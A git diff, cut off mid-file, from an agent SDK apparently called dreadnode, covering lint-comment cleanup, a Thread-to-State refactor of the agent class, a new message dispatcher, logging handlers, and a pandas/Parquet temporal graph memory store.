diff --git a/.gitignore b/.gitignore index e0bceaab..a92e6552 100644 --- a/.gitignore +++ b/.gitignore @@ -71,6 +71,9 @@ coverage.xml .pytest_cache/ cover/ +.mypy_cache/ +.ruff_cache/ + # Translations *.mo *.pot diff --git a/.hooks/generate_docs.py b/.hooks/generate_docs.py index 1ab5b499..ed6156ca 100644 --- a/.hooks/generate_docs.py +++ b/.hooks/generate_docs.py @@ -1,4 +1,4 @@ -import argparse # noqa: INP001 +import argparse import re import typing as t from pathlib import Path @@ -18,7 +18,7 @@ def convert_pre(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: return super().convert_pre(el, text.strip(), parent_tags) # bold items with doc-section-title in a span class - def convert_span(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: # noqa: ARG002 + def convert_span(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: if "doc-section-title" in el.get("class", []): return f"**{text.strip()}**" return text @@ -30,7 +30,7 @@ def convert_div(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: return super().convert_div(el, text, parent_tags) # Map mkdocstrings details classes to Mintlify callouts - def convert_details(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: # noqa: ARG002 + def convert_details(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: classes = el.get("class", []) # Handle source code details specially @@ -83,7 +83,7 @@ def __init__(self, source_paths: list[str], theme: str = "material", **options: self.handler = PythonHandler(PythonConfig.from_data(), base_dir=Path.cwd()) self.options = options - self.handler._update_env( # noqa: SLF001 + self.handler._update_env( Markdown(), config={"mdx": ["toc"]}, ) @@ -96,7 +96,7 @@ def simple_convert_markdown( html_id: str = "", **kwargs: t.Any, ) -> t.Any: - return Markup(md.convert(text) if text else "") # noqa: S704 # nosec + return Markup(md.convert(text) if text else "") # nosec self.handler.env.filters["convert_markdown"] = simple_convert_markdown diff --git a/docs/sdk/api.mdx b/docs/sdk/api.mdx index 214574a2..a80e5b86 100644 --- a/docs/sdk/api.mdx +++ b/docs/sdk/api.mdx @@ -169,7 +169,7 @@ def export_metrics( Returns: A DataFrame containing the exported metric data. """ - import pandas as pd + import pandas as pd # noqa: PLC0415 response = self.request( "GET", @@ -264,7 +264,7 @@ def export_parameters( Returns: A DataFrame containing the exported parameter data. """ - import pandas as pd + import pandas as pd # noqa: PLC0415 response = self.request( "GET", @@ -347,7 +347,7 @@ def export_runs( Returns: A DataFrame containing the exported run data. """ - import pandas as pd + import pandas as pd # noqa: PLC0415 response = self.request( "GET", @@ -444,7 +444,7 @@ def export_timeseries( Returns: A DataFrame containing the exported timeseries data. """ - import pandas as pd + import pandas as pd # noqa: PLC0415 response = self.request( "GET", diff --git a/docs/sdk/data_types.mdx b/docs/sdk/data_types.mdx index da56e3ea..d47a6ad2 100644 --- a/docs/sdk/data_types.mdx +++ b/docs/sdk/data_types.mdx @@ -643,10 +643,12 @@ def to_serializable(self) -> tuple[bytes, dict[str, t.Any]]: Returns: A tuple of (video_bytes, metadata_dict) """ - import numpy as np # type: ignore[import,unused-ignore] + import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 try: - from moviepy.video.VideoClip import VideoClip # type: ignore[import,unused-ignore] + from moviepy.video.VideoClip import ( # type: ignore[import,unused-ignore,import-untyped] # noqa: PLC0415 + VideoClip, + ) except ImportError: VideoClip = None # noqa: N806 diff --git a/docs/sdk/main.mdx b/docs/sdk/main.mdx index 300287e8..803a286e 100644 --- a/docs/sdk/main.mdx +++ b/docs/sdk/main.mdx @@ -283,10 +283,7 @@ def configure( with contextlib.suppress(Exception): user_config = UserConfig.read() profile_name = profile or os.environ.get(ENV_PROFILE) - if profile_name: - active_profile = profile_name - else: - active_profile = user_config.active_profile_name + active_profile = profile_name or user_config.active_profile_name if active_profile: config_source = f"profile: {active_profile}" @@ -460,7 +457,6 @@ def initialize(self) -> None: This method is called automatically when you call `configure()`. """ - from s3fs import S3FileSystem # type: ignore [import-untyped] if self._initialized: return @@ -976,7 +972,7 @@ with dreadnode.run("my_run"): def log_metric( self, name: str, - value: float | bool | Metric, + value: float | bool | Metric, # noqa: FBT001 *, step: int = 0, origin: t.Any | None = None, diff --git a/docs/sdk/metric.mdx b/docs/sdk/metric.mdx index 34a6afe6..0a537149 100644 --- a/docs/sdk/metric.mdx +++ b/docs/sdk/metric.mdx @@ -31,8 +31,8 @@ Metric Metric( value: float, step: int = 0, - timestamp: datetime = lambda: datetime.now( - timezone.utc + timestamp: datetime = ( + lambda: datetime.now(timezone.utc) )(), attributes: JsonDict = dict(), ) @@ -136,9 +136,7 @@ def apply_mode(self, mode: MetricAggMode, others: "list[Metric]") -> "Metric": self.value = len(others) + 1 elif mode == "avg" and prior_values: current_avg = prior_values[-1] - self.value = current_avg + (self.value - current_avg) / ( - len(prior_values) + 1 - ) + self.value = current_avg + (self.value - current_avg) / (len(prior_values) + 1) return self ``` diff --git a/docs/sdk/scorers.mdx b/docs/sdk/scorers.mdx index 573c2e9f..ff9b4863 100644 --- a/docs/sdk/scorers.mdx +++ b/docs/sdk/scorers.mdx @@ -128,7 +128,7 @@ def zero_shot_classification( ) try: - from transformers import ( # type: ignore [attr-defined,import-not-found,unused-ignore] + from transformers import ( # type: ignore [attr-defined,import-not-found,unused-ignore] # noqa: PLC0415 pipeline, ) except ImportError: @@ -846,7 +846,7 @@ def detect_harm_with_openai( model: The moderation model to use. name: Name of the scorer. """ - import openai + import openai # noqa: PLC0415 async def evaluate(data: t.Any) -> Metric: text = str(data) @@ -1816,7 +1816,7 @@ def detect_pii_with_presidio( ) try: - import presidio_analyzer # type: ignore[import-not-found,unused-ignore] # noqa: F401 + import presidio_analyzer # type: ignore[import-not-found,unused-ignore] # noqa: F401, PLC0415 except ImportError: warn_at_user_stacklevel(presidio_import_error_msg, UserWarning) @@ -2020,7 +2020,7 @@ def wrap_chat( """ async def evaluate(chat: "Chat") -> Metric: - from rigging.chat import Chat + from rigging.chat import Chat # noqa: PLC0415 # Fall through to the inner scorer if chat is not a Chat instance if not isinstance(chat, Chat): @@ -2479,7 +2479,7 @@ def similarity_with_litellm( or self-hosted models. name: Name of the scorer. """ - import litellm + import litellm # noqa: PLC0415 async def evaluate(data: t.Any) -> Metric: nonlocal reference, model diff --git a/dreadnode/__init__.py b/dreadnode/__init__.py index e8ec7652..53ddba03 100644 --- a/dreadnode/__init__.py +++ b/dreadnode/__init__.py @@ -12,7 +12,7 @@ from dreadnode.version import VERSION if t.TYPE_CHECKING: - from dreadnode import scorers # noqa: F401 + from dreadnode import scorers configure = DEFAULT_INSTANCE.configure shutdown = DEFAULT_INSTANCE.shutdown diff --git a/dreadnode/agent/__init__.py b/dreadnode/agent/__init__.py index 2cbb77d3..65797133 100644 --- a/dreadnode/agent/__init__.py +++ b/dreadnode/agent/__init__.py @@ -3,11 +3,11 @@ from dreadnode.agent.agent import Agent from dreadnode.agent.events import rebuild_event_models from dreadnode.agent.result import AgentResult -from dreadnode.agent.thread import Thread +from dreadnode.agent.state import State Agent.model_rebuild() -Thread.model_rebuild() +State.model_rebuild() -rebuild_event_models() +# rebuild_event_models() rebuild_dataclass(AgentResult) # type: ignore[arg-type] diff --git a/dreadnode/agent/agent.py b/dreadnode/agent/agent.py index 1f9ba613..e40469cd 100644 --- a/dreadnode/agent/agent.py +++ b/dreadnode/agent/agent.py @@ -2,7 +2,7 @@ import typing as t from contextlib import asynccontextmanager -from pydantic import BaseModel, ConfigDict, Field, PrivateAttr, field_validator +from pydantic import BaseModel, ConfigDict, Field, field_validator from rigging import get_generator from rigging.caching import CacheMode, apply_cache_mode_to_messages from rigging.chat import Chat @@ -19,13 +19,12 @@ ) from dreadnode.agent.configurable import configurable -from dreadnode.agent.events import AgentStalled, Event -from dreadnode.agent.hooks.base import retry_with_feedback +from dreadnode.agent.events import Event from dreadnode.agent.reactions import Hook from dreadnode.agent.result import AgentResult -from dreadnode.agent.stop import StopCondition, StopNever -from dreadnode.agent.thread import Thread -from dreadnode.agent.tools.base import AnyTool, Tool, Toolset +from dreadnode.agent.state import State +from dreadnode.agent.stop import StopCondition +from dreadnode.agent.tools import AnyTool, Tool, Toolset from dreadnode.agent.types import Message from dreadnode.util import flatten_list, get_callable_name, shorten_string @@ -34,32 +33,49 @@ class Agent(BaseModel): model_config = ConfigDict(arbitrary_types_allowed=True, use_attribute_docstrings=True) - name: str - """The name of the agent.""" - description: str = "" - """A brief description of the agent's purpose.""" - - model: str | None = None - """Inference model (rigging generator identifier).""" - instructions: str | None = None - """The agent's core instructions.""" - tools: list[AnyTool | Toolset] = [] - """Tools the agent can use.""" - tool_mode: t.Annotated[ToolMode, Field(repr=False)] = "auto" - """The tool calling mode to use (e.g., "xml", "json-with-tag", "json-in-xml", "api") - default is "auto".""" - caching: t.Annotated[CacheMode | None, Field(repr=False)] = None - """How to handle cache_control entries on inference messages.""" - max_steps: int = 10 - """The maximum number of steps (generation + tool calls) the agent can take before stopping.""" - - stop_conditions: list[StopCondition] = [] - """The logical condition for successfully stopping a run.""" - hooks: t.Annotated[list[Hook], Field(exclude=True, repr=False)] = [] - """Hooks to run at various points in the agent's lifecycle.""" - thread: Thread = Field(default_factory=Thread, exclude=True, repr=False) - """Stateful thread for this agent, for when otherwise not specified during execution.""" - - _generator: Generator | None = PrivateAttr(None, init=False) + name: t.Annotated[str, "The name of the agent."] + description: t.Annotated[str, "A brief description of the agent's purpose."] + model: t.Annotated[str | None, "Inference model (rigging generator identifier)."] = None + instructions: t.Annotated[str | None, "The agent's core instructions."] = None + tools: t.Annotated[list[AnyTool | Toolset], "Tools the agent can use."] = [] + tool_mode: t.Annotated[ + ToolMode, + Field( + repr=False, + description='The tool calling mode to use (e.g., "xml", "json-with-tag", "json-in-xml", "api") - default is "auto".', + ), + ] = "auto" + caching: t.Annotated[ + CacheMode | None, + Field(repr=False, description="How to handle cache_control entries on inference messages."), + ] = None + max_steps: t.Annotated[ + int, + "The maximum number of steps (generation + tool calls) the agent can take before stopping.", + ] = 100 + + stop_conditions: t.Annotated[ + list[StopCondition], "The logical condition for successfully stopping an Agent." + ] = [] + hooks: t.Annotated[ + list[Hook], + Field( + exclude=True, + repr=False, + description="Hooks to run at various points in the agent's lifecycle.", + ), + ] = [] + state: t.Annotated[ + State | None, + "Stateful state for this agent, for when otherwise not specified during execution.", + Field( + default_factory=State, + exclude=True, + repr=False, + ), + ] = None + + _generator: t.Annotated[Generator | None, Field(default=None, init=False, repr=False)] = None @field_validator("tools", mode="before") @classmethod @@ -83,7 +99,6 @@ def validate_tools(cls, value: t.Any) -> t.Any: tools.append(Tool.from_callable(tool)) else: tools.append(tool) - return tools def __repr__(self) -> str: @@ -132,6 +147,7 @@ def _get_transforms(self) -> list[Transform]: @property def all_tools(self) -> list[AnyTool]: """Returns a flattened list of all available tools.""" + flat_tools: list[AnyTool] = [] for item in self.tools: if isinstance(item, Toolset): @@ -191,7 +207,7 @@ async def generate( generated = (await generator.generate_messages([messages], [params]))[0] if isinstance(generated, BaseException): - raise generated # noqa: TRY301 + raise generated chat = Chat( messages, @@ -203,7 +219,7 @@ async def generate( extra=generated.extra, ) - except Exception as error: # noqa: BLE001 + except Exception as error: chat = Chat( messages, [], @@ -218,9 +234,9 @@ async def generate( return chat - def reset(self) -> Thread: - previous = self.thread - self.thread = Thread() + def reset(self) -> State: + previous = self.state + self.state = State() return previous @asynccontextmanager @@ -228,11 +244,11 @@ async def stream( self, user_input: str, *, - thread: Thread | None = None, + state: State | None = None, ) -> t.AsyncIterator[t.AsyncGenerator[Event, None]]: - thread = thread or self.thread - async with thread.stream( - self, user_input, commit="always" if thread == self.thread else "on-success" + state = state or self.state + async with state.stream( + self, user_input, commit="always" if state == self.state else "on-success" ) as stream: yield stream @@ -240,39 +256,9 @@ async def run( self, user_input: str, *, - thread: Thread | None = None, + state: State | None = None, ) -> AgentResult: - thread = thread or Thread() - return await thread.run( - self, user_input, commit="always" if thread == self.thread else "on-success" - ) - - -class TaskAgent(Agent): - """ - A specialized agent for running tasks with a focus on completion and reporting. - It extends the base Agent class to provide task-specific functionality. - - - Automatically includes the `finish_task` and `update_todo` tools. - - Installs a default StopNever condition to trigger stalling behavior when no tools calls are made. - - Uses the `AgentStalled` event to handle stalled tasks by pushing the model to continue or finish the task. - """ - - def model_post_init(self, _: t.Any) -> None: - from dreadnode.agent.tools import finish_task, update_todo # noqa: PLC0415 - - if not any(tool for tool in self.tools if tool.name == "finish_task"): - self.tools.append(finish_task) - - if not any(tool for tool in self.tools if tool.name == "update_todo"): - self.tools.append(update_todo) - - # Force the agent to use finish_task - self.stop_conditions.append(StopNever()) - self.hooks.insert( - 0, - retry_with_feedback( - event_type=AgentStalled, - feedback="Continue the task if possible or use the 'finish_task' tool to complete it.", - ), + state = state or self.state + return await state.run( + self, user_input, commit="always" if state == self.state else "on-success" ) diff --git a/dreadnode/agent/configurable.py b/dreadnode/agent/configurable.py index a386153f..1dff1ee4 100644 --- a/dreadnode/agent/configurable.py +++ b/dreadnode/agent/configurable.py @@ -118,7 +118,7 @@ def _is_cli_friendly_type(annotation: t.Any) -> bool: if origin is dict: args = t.get_args(annotation) - if len(args) != 2: # noqa: PLR2004 + if len(args) != 2: return False key_type, value_type = args return key_type in PRIMITIVE_TYPES and value_type in PRIMITIVE_TYPES @@ -160,7 +160,7 @@ def _make_model_fields(obj: t.Callable[..., t.Any], defaults: AnyDict) -> dict[s # Otherwise use the signature to extract fields @functools.wraps(obj) - def empty_func(*args, **kwargs): # type: ignore [no-untyped-def] # noqa: ARG001 + def empty_func(*args, **kwargs): # type: ignore [no-untyped-def] return kwargs # Clear the return annotation to help reduce errors diff --git a/dreadnode/agent/dispatcher.py b/dreadnode/agent/dispatcher.py new file mode 100644 index 00000000..2c69cca6 --- /dev/null +++ b/dreadnode/agent/dispatcher.py @@ -0,0 +1,93 @@ +import asyncio +import typing as t +from collections import defaultdict +from typing import Optional + +from loguru import logger +from pydantic import BaseModel + +if t.TYPE_CHECKING: + from dreadnode.agent.agent import Agent + + +class AgentDispatcher: + """ + Manages agent registration and message routing. + """ + + def __init__(self) -> None: + self._agents: dict[str, Agent] = {} + self._subscriptions: dict[type[BaseModel], set[str]] = defaultdict(set) + logger.info("Dispatcher started.") + + async def register_agent(self, agent: "Agent"): + """ + Register an agent with the dispatcher. + Automatically subscribes the agent to message types based on its handlers.""" + if agent.unique_name in self._agents: + logger.warning( + f"Agent with name '{agent.unique_name}' is already registered. Overwriting." + ) + self._agents[agent.unique_name] = agent + + handler = getattr(agent.__class__, "handle_message", None) + if handler and hasattr(handler, "_handled_types"): + for msg_type in handler._handled_types: + self._subscriptions[msg_type].add(agent.unique_name) + logger.info(f"Agent '{agent.unique_name}' subscribed to {msg_type.__name__}") + + def get_agent(self, name: str) -> Optional["Agent"]: + """Get an agent proxy by name.""" + return self._agents.get(name) + + async def remove_agent(self, name: str): + """Remove an agent from the dispatcher.""" + if name in self._agents: + agent_instance = self._agents.get(name) + if agent_instance: + handler = getattr(agent_instance.__class__, "handle_message", None) + if handler and hasattr(handler, "_handled_types"): + for msg_type in handler._handled_types: + if msg_type in self._subscriptions: + self._subscriptions[msg_type].discard(name) + del self._agents[name] + logger.info(f"Agent '{name}' removed from dispatcher.") + + def list_agents(self) -> list[str]: + """List all registered agent names.""" + return list(self._agents.keys()) + + def get_subscribers(self, message_type: type[BaseModel]) -> list["Agent"]: + """ + Get all agents subscribed to a specific message type. + """ + agent_names = self._subscriptions.get(message_type, set()) + return [self._agents[name] for name in agent_names if name in self._agents] + + async def publish(self, message: Dispatchable): + """ + Publish a message to all agents subscribed to its type (fire-and-forget). + """ + message_type = type(message) + message_data_type = type(message.data) + data_subscribers = self.get_subscribers(message_data_type) + message_subscribers = self.get_subscribers(message_type) + subscribers = data_subscribers + message_subscribers + + if not subscribers: + logger.warning(f"No subscribers for message type {message_type.__name__}") + return 0 + + for agent in subscribers: + agent.tell(message) + logger.info(f"Published '{message_type.__name__}' to {len(subscribers)} agents.") + return len(subscribers) + + async def shutdown_all(self): + """Shutdown all registered agents.""" + logger.info("Shutting down all agents.") + agents = list(self._agents.values()) + await asyncio.gather(*[agent.shutdown() for agent in agents], return_exceptions=True) + self._agents.clear() + self._subscriptions.clear() + logger.info("All agents shut down and dispatcher cleared.") diff --git a/dreadnode/agent/events.py b/dreadnode/agent/events.py index c2ed7816..39d8ada6 100644 --- a/dreadnode/agent/events.py +++ b/dreadnode/agent/events.py @@ -11,8 +11,7 @@ from dreadnode.agent.agent import Agent from dreadnode.agent.reactions import Reaction from dreadnode.agent.result import AgentResult - from dreadnode.agent.thread import Thread - + from dreadnode.agent.state import State EventT = t.TypeVar("EventT", bound="Event") @@ -20,7 +19,7 @@ @dataclass class Event: agent: "Agent" = field(repr=False) - thread: "Thread" = field(repr=False) + state: "State" = field(repr=False) messages: "list[Message]" = field(repr=False) events: "list[Event]" = field(repr=False) @@ -108,11 +107,6 @@ class AgentEnd(Event): def rebuild_event_models() -> None: - from dreadnode.agent.agent import Agent # noqa: F401,PLC0415 - from dreadnode.agent.reactions import Reaction # noqa: F401,PLC0415 - from dreadnode.agent.result import AgentResult # noqa: F401,PLC0415 - from dreadnode.agent.thread import Thread # noqa: F401,PLC0415 - rebuild_dataclass(Event) # type: ignore[arg-type] rebuild_dataclass(AgentStart) # type: ignore[arg-type] rebuild_dataclass(StepStart) # type: ignore[arg-type] diff --git a/dreadnode/agent/handler.py b/dreadnode/agent/handler.py new file mode 100644 index 00000000..dae981da --- /dev/null +++ b/dreadnode/agent/handler.py @@ -0,0 +1,49 @@ +import typing as t +from typing import Optional + +from loguru import logger + +from dreadnode.agent.events import Event + +if t.TYPE_CHECKING: + from dreadnode.agent.agent import Agent + from dreadnode.agent.types import Message, ToolCall, Usage + + +def on_agent_start(self, agent: "Agent") -> Event: + logger.info(f"Agent started: {agent.name}") + + +def on_step_start(self, step: int) -> Event: + logger.info(f"Step {step} started") + + +def on_generation_end(self, message: "Message", usage: Optional["Usage"]) -> Event: + logger.info(f"Generation ended with message: {message.content}") + + +def on_tool_start(self, tool_call: "ToolCall") -> Event: + logger.info(f"Tool started: {tool_call.name}") + + +def on_tool_end(self, tool_call: "ToolCall", message: "Message", stop: bool) -> Event: + logger.info(f"Tool ended: {tool_call.name} with message: {message.content}") + + +def on_agent_stalled(self, agent: "Agent") -> Event: + logger.warning("Agent has stalled") + + +def on_agent_error(self, error: Exception) -> Event: + logger.error(f"Agent encountered an error: {error}") + + +def on_agent_end(self, agent: "Agent") -> Event: + logger.info(f"{agent.name} has completed its run") + + +def catch(self, callback, *args, **kwargs): + try: + return callback(*args, **kwargs) + except Exception as e: + logger.error(f"Error in {callback.__qualname__}(): {e}") diff --git a/dreadnode/agent/hooks/summarize.py b/dreadnode/agent/hooks/summarize.py index 8aac489c..5dc6e11a 100644 --- a/dreadnode/agent/hooks/summarize.py +++ b/dreadnode/agent/hooks/summarize.py @@ -23,7 +23,7 @@ def _is_context_length_error(error: Exception) -> bool: """Checks if an exception is likely due to exceeding the context window.""" with contextlib.suppress(ImportError): - from litellm.exceptions import ContextWindowExceededError # noqa: PLC0415 + from litellm.exceptions import ContextWindowExceededError if isinstance(error, ContextWindowExceededError): return True @@ -66,10 +66,10 @@ def summarize_when_long( min_messages_to_keep: The minimum number of messages to retain after summarization (default is 5). """ - if min_messages_to_keep < 2: # noqa: PLR2004 + if min_messages_to_keep < 2: raise ValueError("min_messages_to_keep must be at least 2.") - async def summarize_when_long(event: Event) -> Reaction | None: # noqa: PLR0912 + async def summarize_when_long(event: Event) -> Reaction | None: should_summarize = False # Proactive check using the last known token count diff --git a/dreadnode/agent/memory/backend/__init__.py b/dreadnode/agent/memory/backend/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/memory/backend/pandas_backend.py b/dreadnode/agent/memory/backend/pandas_backend.py new file mode 100644 index 00000000..f5bddb78 --- /dev/null +++ b/dreadnode/agent/memory/backend/pandas_backend.py @@ -0,0 +1,150 @@ +from dataclasses import dataclass +from datetime import datetime, timezone +from pathlib import Path + +import pandas as pd +import pyarrow as pa +import pyarrow.parquet as pq + +pd.options.mode.copy_on_write = True + + +@dataclass +class GroupPaths: + base: Path + nodes: Path + edge_events: Path + + +class PandasTemporalStore: + """ + Parquet-backed temporal graph store: + - nodes.parquet: uuid, group_id, label, name, created_at, attributes + - edge_events.parquet: group_id, src_uuid, dst_uuid, type, event_ts, event_kind, attributes + + Derives intervals [valid_from, valid_to) via groupby+shift(-1). + """ + + def __init__(self, root: str = "./lake_pandas"): + self.root = Path(root).resolve() + self.root.mkdir(parents=True, exist_ok=True) + + def _paths(self, group_id: str) -> GroupPaths: + """ + Returns paths for the given group_id. + If the group_id is "default", it will use the root directory. + """ + base = self.root / (group_id or "default") + base.mkdir(parents=True, exist_ok=True) + return GroupPaths( + base=base, nodes=base / "nodes.parquet", edge_events=base / "edge_events.parquet" + ) + + def _append_parquet(self, path: Path, df: pd.DataFrame) -> None: + """ + Append a DataFrame to a Parquet file. + """ + table = pa.Table.from_pandas(df, preserve_index=False) + pq.write_table(table, path, existing_data_behavior="append") + + def add_entities_df( + self, + *, + group_id: str, + nodes_df: pd.DataFrame | None = None, + edges_df: pd.DataFrame | None = None, + default_ts: datetime | None = None, + ) -> None: + """ + Add nodes and edges to the store. + If nodes_df is provided, it must contain columns: uuid, group_id, label, name, created_at, attributes. + If edges_df is provided, it must contain columns: src_uuid, dst_uuid, type, event_ts, event_kind, attributes. + The event_ts in edges_df is optional; if not provided, default_ts will be used. + """ + p = self._paths(group_id) + if nodes_df is not None and len(nodes_df): + self._append_parquet(p.nodes, nodes_df) + if edges_df is not None and len(edges_df): + edges_df_copy = edges_df.copy() + if "event_ts" not in edges_df_copy: + edges_df_copy["event_ts"] = pd.Timestamp( + default_ts or datetime.now(timezone.utc), tz="UTC" + ) + self._append_parquet(p.edge_events, edges_df_copy) + + def nodes_df(self, group_id: str, subset_uuids: list[str] | None = None) -> pd.DataFrame: + """ + Returns a DataFrame of nodes for the given group_id. + If subset_uuids is provided, only those nodes are returned. + """ + + p = self._paths(group_id) + if not p.nodes.exists(): + return pd.DataFrame( + columns=["uuid", "group_id", "label", "name", "created_at", "attributes"] + ) + nodes_df = pq.read_table(p.nodes).to_pandas() + nodes_df = nodes_df[nodes_df["group_id"] == group_id].copy() + if subset_uuids: + nodes_df = nodes_df[nodes_df["uuid"].isin(subset_uuids)] + nodes_df.sort_values(["uuid", "created_at"], inplace=True) + nodes_df = nodes_df.drop_duplicates(subset=["uuid"], keep="last") + return nodes_df.reset_index(drop=True) + + def _intervals(self, *, group_id: str) -> pd.DataFrame: + """ + Returns a DataFrame of edges with valid_from and valid_to timestamps. + The valid_to is NaT if the edge is still valid. + """ + + p = self._paths(group_id) + if not p.edge_events.exists(): + return pd.DataFrame(columns=["src", "dst", "type", "valid_from", "valid_to"]) + ev = pq.read_table(p.edge_events).to_pandas() + ev = ev[ev["group_id"] == group_id].copy() + if ev.empty: + return pd.DataFrame(columns=["src", "dst", "type", "valid_from", "valid_to"]) + + ev["event_ts"] = pd.to_datetime(ev["event_ts"], utc=True) + ev.sort_values(["src_uuid", "dst_uuid", "type", "event_ts"], inplace=True) + ev["next_ts"] = ev.groupby(["src_uuid", "dst_uuid", "type"], sort=False)["event_ts"].shift( + -1 + ) + starts = ev[ev["event_kind"] == "open"].copy() + starts.rename( + columns={ + "src_uuid": "src", + "dst_uuid": "dst", + "event_ts": "valid_from", + "next_ts": "valid_to", + }, + inplace=True, + ) + return starts[["src", "dst", "type", "valid_from", "valid_to"]] + + def edges_as_of(self, *, group_id: str, as_of: datetime) -> pd.DataFrame: + """ + Returns edges that are valid as of the given timestamp. + The timestamp is inclusive, meaning if an edge was valid at that time, it will be included. + """ + + iv = self._intervals(group_id=group_id) + if iv.empty: + return iv + ts = pd.Timestamp(as_of, tz="UTC") + mask = (iv["valid_from"] <= ts) & (iv["valid_to"].isna() | (iv["valid_to"] > ts)) + return iv.loc[mask, ["src", "dst", "type"]].reset_index(drop=True) + + def edges_in_window(self, *, group_id: str, start: datetime, end: datetime) -> pd.DataFrame: + """ + Returns edges that are valid in the given time window. + The window is inclusive of start and exclusive of end. + """ + + iv = self._intervals(group_id=group_id) + if iv.empty: + return iv + s = pd.Timestamp(start, tz="UTC") + e = pd.Timestamp(end, tz="UTC") + mask = (iv["valid_from"] < e) & (iv["valid_to"].isna() | (iv["valid_to"] > s)) + return iv.loc[mask, ["src", "dst", "type"]].reset_index(drop=True) diff --git a/dreadnode/agent/memory/backend/steps.py b/dreadnode/agent/memory/backend/steps.py new file mode 100644 index 00000000..cc01bc69 --- /dev/null +++ b/dreadnode/agent/memory/backend/steps.py @@ -0,0 +1,138 @@ +from datetime import datetime +from pathlib import Path + +import pandas as pd +import pyarrow as pa +import pyarrow.parquet as pq + +from dreadnode.agent.memory.backend.pandas_backend import PandasTemporalStore + +STEPS_SCHEMA = pa.schema( + [ + pa.field("group_id", pa.string()), + pa.field("step_id", pa.int64()), + pa.field("start_ts", pa.timestamp("us", tz="UTC")), + pa.field("end_ts", pa.timestamp("us", tz="UTC")), + pa.field("center_ts", pa.timestamp("us", tz="UTC")), + pa.field("label", pa.string()), + ] +) + + +def _steps_path(root: Path, group_id: str) -> Path: + p = root / (group_id or "default") / "steps.parquet" + p.parent.mkdir(parents=True, exist_ok=True) + return p + + +def build_steps_fixed( + root: str | Path, + group_id: str, + *, + freq: str = "1H", + start: datetime | None = None, + end: datetime | None = None, + label_prefix: str = "", +) -> pd.DataFrame: + root = Path(root) + ev_path = root / (group_id or "default") / "edge_events.parquet" + if (start is None or end is None) and ev_path.exists(): + ev = pq.read_table(ev_path, columns=["event_ts"]).to_pandas() + if not ev.empty: + s_min = pd.to_datetime(ev["event_ts"], utc=True).min() + s_max = pd.to_datetime(ev["event_ts"], utc=True).max() + start = start or s_min.floor(freq) + end = end or (s_max.ceil(freq) + pd.Timedelta(freq)) + if start is None or end is None: + raise ValueError("Provide start/end or ingest edge events first.") + + rng = pd.date_range(start=start, end=end, freq=freq, inclusive="left", tz="UTC") + df = pd.DataFrame( + { + "group_id": group_id, + "step_id": range(len(rng)), + "start_ts": rng, + "end_ts": rng + pd.Timedelta(freq), + } + ) + df["center_ts"] = df["start_ts"] + (df["end_ts"] - df["start_ts"]) / 2 + df["label"] = [f"{label_prefix}{i}" for i in df["step_id"]] + + path = _steps_path(root, group_id) + pq.write_table( + pa.Table.from_pandas(df, preserve_index=False, schema=STEPS_SCHEMA), + path, + existing_data_behavior="overwrite", + ) + return df + + +def load_steps(root: str | Path, group_id: str) -> pd.DataFrame: + path = _steps_path(Path(root), group_id) + if not path.exists(): + return pd.DataFrame( + columns=["group_id", "step_id", "start_ts", "end_ts", "center_ts", "label"] + ) + return pq.read_table(path).to_pandas() + + +def time_to_step(steps_df: pd.DataFrame, ts: datetime) -> int | None: + t = pd.Timestamp(ts, tz="UTC") + m = (steps_df["start_ts"] <= t) & (t < steps_df["end_ts"]) + if not m.any(): + return None + return int(steps_df.loc[m, "step_id"].iloc[0]) + + +def step_to_time(steps_df: pd.DataFrame, step_id: int, which: str = "center") -> pd.Timestamp: + row = steps_df.loc[steps_df["step_id"] == step_id] + if row.empty: + raise KeyError(f"step_id {step_id} not found") + return pd.Timestamp(row[f"{which}_ts"].iloc[0], tz="UTC") + + +# ----- snapshot helpers ----- +def edges_at_step( + store: PandasTemporalStore, steps_df: pd.DataFrame, group_id: str, step_id: int +) -> pd.DataFrame: + row = steps_df.loc[steps_df["step_id"] == step_id] + if row.empty: + return pd.DataFrame(columns=["src", "dst", "type"]) + return store.edges_in_window( + group_id=group_id, start=row["start_ts"].iloc[0], end=row["end_ts"].iloc[0] + ) + + +# (optional) delta-based multi-step acceleration +def step_deltas_from_events( + root: str | Path, group_id: str, steps_df: pd.DataFrame +) -> pd.DataFrame: + root = Path(root) + ev_path = root / (group_id or "default") / "edge_events.parquet" + if not ev_path.exists(): + return pd.DataFrame(columns=["src", "dst", "type", "step_id", "delta"]) + ev = pq.read_table(ev_path).to_pandas() + ev["event_ts"] = pd.to_datetime(ev["event_ts"], utc=True) + + bounds = steps_df[["step_id", "start_ts"]].rename(columns={"start_ts": "t"}).sort_values("t") + ev_sorted = ev.sort_values("event_ts") + merged = pd.merge_asof( + ev_sorted, bounds, left_on="event_ts", right_on="t", direction="backward" + ) + out = merged[["src_uuid", "dst_uuid", "type", "step_id", "event_kind"]].copy() + out["delta"] = out["event_kind"].map({"open": +1, "close": -1}).fillna(+1) + out.rename(columns={"src_uuid": "src", "dst_uuid": "dst"}, inplace=True) + return out[["src", "dst", "type", "step_id", "delta"]] + + +def edges_active_matrix(step_deltas: pd.DataFrame) -> pd.DataFrame: + sd = step_deltas.sort_values(["src", "dst", "type", "step_id"]) + sd["cum"] = sd.groupby(["src", "dst", "type"], sort=False)["delta"].cumsum() + active = sd[sd["cum"] > 0][["src", "dst", "type", "step_id"]].copy() + active["active"] = 1 + return active + + +def edges_at_step_from_active(active_long: pd.DataFrame, step_id: int) -> pd.DataFrame: + m = active_long["step_id"] == step_id + return active_long.loc[m, ["src", "dst", "type"]].reset_index(drop=True) diff --git a/dreadnode/agent/memory/export/__init__.py b/dreadnode/agent/memory/export/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/memory/export/networkx_export.py b/dreadnode/agent/memory/export/networkx_export.py new file mode 100644 index 00000000..0d048c61 --- /dev/null +++ b/dreadnode/agent/memory/export/networkx_export.py @@ -0,0 +1,45 @@ +from datetime import datetime, timezone + +import networkx as nx +from pandas import DataFrame + +from dreadnode.agent.memory.backend.pandas_backend import PandasTemporalStore +from dreadnode.agent.memory.backend.steps import edges_at_step + + +def 